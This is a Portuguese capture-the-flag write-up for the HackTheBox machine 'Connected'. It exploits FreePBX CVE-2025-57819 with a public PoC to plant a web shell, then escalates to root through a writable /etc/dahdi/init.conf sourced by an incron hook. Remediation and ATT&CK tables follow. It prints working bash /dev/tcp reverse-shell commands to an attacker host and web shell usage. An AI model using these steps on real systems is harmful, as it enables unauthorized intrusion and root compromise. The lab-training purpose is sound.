
Write-up detalhado de teste de penetração para a máquina 'Connected' do HackTheBox, cobrindo a exploração do CVE-2025-57819 do FreePBX (SQLi para RCE) e a escalada de privilégios via configuração incorreta do incron para root.
Connected é uma máquina Linux baseada em CentOS que executa o sistema de comunicação VoIP FreePBX v16.0.40.7 integrado ao Asterisk.
O fluxo de exploração (Attack Vector / Kill Chain) consiste em duas etapas principais:
asterisk./usr/sbin/sysadmin_dahdi_restart quando há uma escrita no arquivo /var/spool/asterisk/sysadmin/dahdi_restart. Como o arquivo de configuração DAHDI /etc/dahdi/init.conf tem permissão de escrita (writable) pelo usuário asterisk, a injeção de um payload de reverse shell nesse arquivo de configuração é executada automaticamente com privilégios de root (uid=0).A etapa inicial do teste de penetração começa com o active reconnaissance usando nmap para identificar portas abertas, serviços em execução e a versão do sistema.
mkdir -p recon
nmap -T4 -sC -sV <IP_TARGET> -oA recon/nmap_quick
Explicação das Flags do Nmap:
-T4: Define o timing template agressivo para uma varredura mais rápida e eficiente.-sC: Executa o conjunto de scripts NSE (Nmap Scripting Engine) padrão para detecção de vulnerabilidades básicas.-sV: Ativa a detecção de serviço e versão em cada porta responsiva.-oA recon/nmap_quick: Salva todos os formatos de saída (standard, grepable, XML) no diretório recon.Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for <IP_TARGET>
Host is up (0.25s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 4e:60:38:6f:e7:78:6c:ca:58:62:a1:f1:56:ae:8d:30 (RSA)
| 256 12:41:55:26:9d:ad:3d:e8:bf:4e:31:aa:d7:d1:a5:d2 (ECDSA)
|_ 256 8e:b6:96:e0:21:83:5d:1d:ce:8d:e2:6a:dd:38:c6:75 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16)
|_http-title: Did not follow redirect to http://connected.htb/
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16
443/tcp open ssl/http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16)
| ssl-cert: Subject: commonName=pbxconnect/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2025-11-30T14:07:27
|_Not valid after: 2026-11-30T14:07:27
|_http-title: 400 Bad Request
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16
http://connected.htb/.Como o servidor web usa virtual hosting e direciona o tráfego para connected.htb, precisamos adicionar a resolução do nome do host local ao /etc/hosts:
echo "<IP_TARGET> connected.htb" | sudo tee -a /etc/hosts
Acessar a URL http://connected.htb/admin/config.php através do navegador exibe a interface de gerenciamento VoIP baseada na web:
Do rodapé da página web, obtemos as informações de versão específicas:
FreePBX is a registered trademark of Sangoma Technologies Inc.
FreePBX 16.0.40.7 is licensed under the GPL
Copyright© 2007-2026
16.0.40.7A versão FreePBX 16.0.40.7 é vulnerável à CVE-2025-57819. Essa vulnerabilidade é uma SQL Injection pré-autenticação que permite que um atacante sem credenciais (unauthenticated attacker) manipule o banco de dados backend do FreePBX/Asterisk.
Através dessa injeção de SQL, o atacante pode modificar a tabela interna de cron job do Asterisk (asterisk.cron_jobs) ou injetar código PHP arbitrário no diretório do servidor web (gerando um DAG - Detection Artifact Generator / Web Shell), o que leva à Remote Code Execution (RCE).
Utilizamos o PoC de exploit público do WatchTowr Labs:
# 1. Clonar o repositório do exploit
git clone https://github.com/watchtowrlabs/watchTowr-vs-FreePBX-CVE-2025-57819
cd watchTowr-vs-FreePBX-CVE-2025-57819
# 2. Executar o script do exploit contra o alvo
python3 watchTowr-vs-FreePBX-CVE-2025-57819.py -H http://connected.htb
Resultado da Execução do Exploit: O script explorou o alvo com sucesso e criou um webshell ativo no endpoint:
http://connected.htb/this-is-an-ioc-not-actually-watchTowr-3qv7ynn9d2.php?cmd=<COMMAND>
Para obter uma sessão interativa (reverse shell), execute os seguintes passos:
Abra um Listener Netcat na máquina do atacante:
nc -lvnp 1212
Envie o Payload do Reverse Shell através do Web Shell:
Envie o payload do reverse shell usando curl com o parâmetro codificado em URL:
curl -G "http://connected.htb/this-is-an-ioc-not-actually-watchTowr-3qv7ynn9d2.php" \
--data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/<IP_VPN_KITA>/1212 0>&1'"
Conexão do Reverse Shell Recebida com Sucesso:
A conexão chega ao listener nc e obtemos acesso a um shell interativo como o usuário asterisk.
[asterisk@connected html]$ cat /home/asterisk/user.txt
Depois de obter acesso como o usuário asterisk, o próximo passo é realizar a enumeração interna para encontrar um vetor de Privilege Escalation para root.
incron)Verificamos a configuração do daemon incron (inotify cron table), que é um serviço que executa comandos quando ocorre um evento de filesystem (como modificação ou criação de arquivo):
[asterisk@connected html]$ cat /etc/incron.d/*
Saída da Configuração do Incron:
/var/spool/asterisk/sysadmin/vpngat IN_CLOSE_WRITE /usr/sbin/sysadmin_openvpn -d
/var/spool/asterisk/sysadmin/intrusion_detection_stop IN_CLOSE_WRITE /etc/init.d/fail2ban stop
/var/spool/asterisk/sysadmin/update_system_cron IN_CLOSE_WRITE /usr/sbin/sysadmin_update_set_cron
/var/spool/asterisk/sysadmin/portmgmt_setup IN_CLOSE_WRITE /usr/sbin/sysadmin_portmgmt
/var/spool/asterisk/sysadmin/dahdi_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_dahdi_restart
/var/spool/asterisk/sysadmin/dahdi_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_dahdi_restart/var/spool/asterisk/sysadmin/dahdi_restart é fechado após uma operação de escrita (IN_CLOSE_WRITE), o sistema executa automaticamente o script /usr/sbin/sysadmin_dahdi_restart com privilégios de root.Uma investigação mais aprofundada do script /usr/sbin/sysadmin_dahdi_restart mostra que ele reinicia o serviço DAHDI (Digium Asterisk Hardware Device Interface) e executa / carrega (source) o arquivo de configuração /etc/dahdi/init.conf.
A verificação das permissões no arquivo /etc/dahdi/init.conf mostra que ele tem permissão de escrita (writable) pelo usuário asterisk:
ls -la /etc/dahdi/init.conf
# -rw-rw-r-- 1 root asterisk ... /etc/dahdi/init.conf
Como o /etc/dahdi/init.conf é executado no contexto de root quando o DAHDI é reiniciado, podemos inserir um comando de reverse shell nesse arquivo de configuração e, em seguida, acionar a reinicialização através do incron.
Abra um Novo Listener na Máquina do Atacante (Porta 4545):
nc -lvnp 4545
Insira o Reverse Shell no /etc/dahdi/init.conf:
echo "bash -c 'bash -i >& /dev/tcp/<IP_VPN_KITA>/4545 0>&1'" >> /etc/dahdi/init.conf
Acione o Evento Incron através da Escrita no Arquivo Spool:
echo "Restart" >> /var/spool/asterisk/sysadmin/dahdi_restart
Em poucos segundos após o incron processar o evento de escrita no arquivo, o script root executa a linha de comando injetada e gera uma conexão de reverse shell como root (uid=0):
[root@connected /]# id
uid=0(root) gid=0(root) groups=0(root)
[root@connected /]# whoami
root
[root@connected /]# cat /root/root.txt
Pwned por ikmalhanaan 🚀
| Componente | Especificação / Descrição |
|---|
| Nome da Máquina | Connected |
| Sistema Operacional | Linux (CentOS / FreePBX Distro) |
| IP do Alvo | <IP_TARGET> (connected.htb) |
| IP do Atacante | <IP_VPN_KITA> (Interface VPN tun0) |
| Vulnerabilidade Crítica | CVE-2025-57819 (FreePBX Auth Bypass & SQLi para RCE) |
| Mecanismo de PrivEsc | Hook de Daemon Incron Mal Configurado + /etc/dahdi/init.conf Gravável |
| Ferramentas Utilizadas | nmap, curl, python3, netcat (nc), bash, git |
| Vetor de Fraqueza | Impacto | Recomendação de Remediação / Mitigação |
|---|
| FreePBX Pre-Auth SQLi (CVE-2025-57819) | Crítico — Permite RCE sem autenticação através de injeção no banco de dados. | Atualize o FreePBX para a versão de patch oficial mais recente da Sangoma. Aplique validação rigorosa de entrada e use Prepared Statements / Parameterized Queries em todos os endpoints da API. |
Permissão de Arquivo Insegura (/etc/dahdi/init.conf) | Alto — Um usuário não autorizado (asterisk) pode modificar um arquivo de configuração executado pelo root. | Restrinja a propriedade e as permissões de escrita do arquivo de configuração: chmod 644 /etc/dahdi/init.conf e chown root:root /etc/dahdi/init.conf. |
| Execução Automatizada pelo Root via Incron | Médio/Alto — Scripts de automação do root carregam arquivos de configuração sem verificação de integridade. | Audite todas as regras do incron e os scripts /usr/sbin/sysadmin_*. Evite o sourcing de arquivos de configuração dinâmicos que sejam vulneráveis a modificação por não-root. |
| Tática | ID da Técnica | Nome da Técnica | Aplicação na Máquina |
|---|
| Reconhecimento | T1595.002 | Active Scanning: Vulnerability Scanning | Varredura de portas e serviços usando nmap. |
| Acesso Inicial | T1190 | Exploit Public-Facing Application | Exploração da vulnerabilidade CVE-2025-57819 no servidor web FreePBX. |
| Execução | T1059.004 | Command and Scripting Interpreter: Unix Shell | Execução de comandos bash de reverse shell através do web shell e script init. |
| Persistência / Escalação de Privilégios | T1053.003 | Scheduled Task/Job: Cron | Utilização do daemon incron para executar tarefas root automáticas. |
| Escalação de Privilégios | T1574.009 | Hijack Execution Flow: Path/Configuration Hijacking | Inserção de comandos maliciosos no arquivo de configuração /etc/dahdi/init.conf. |
| Acesso a Credenciais / Coleta | T1005 | Data from Local System | Leitura das flags user.txt e root.txt. |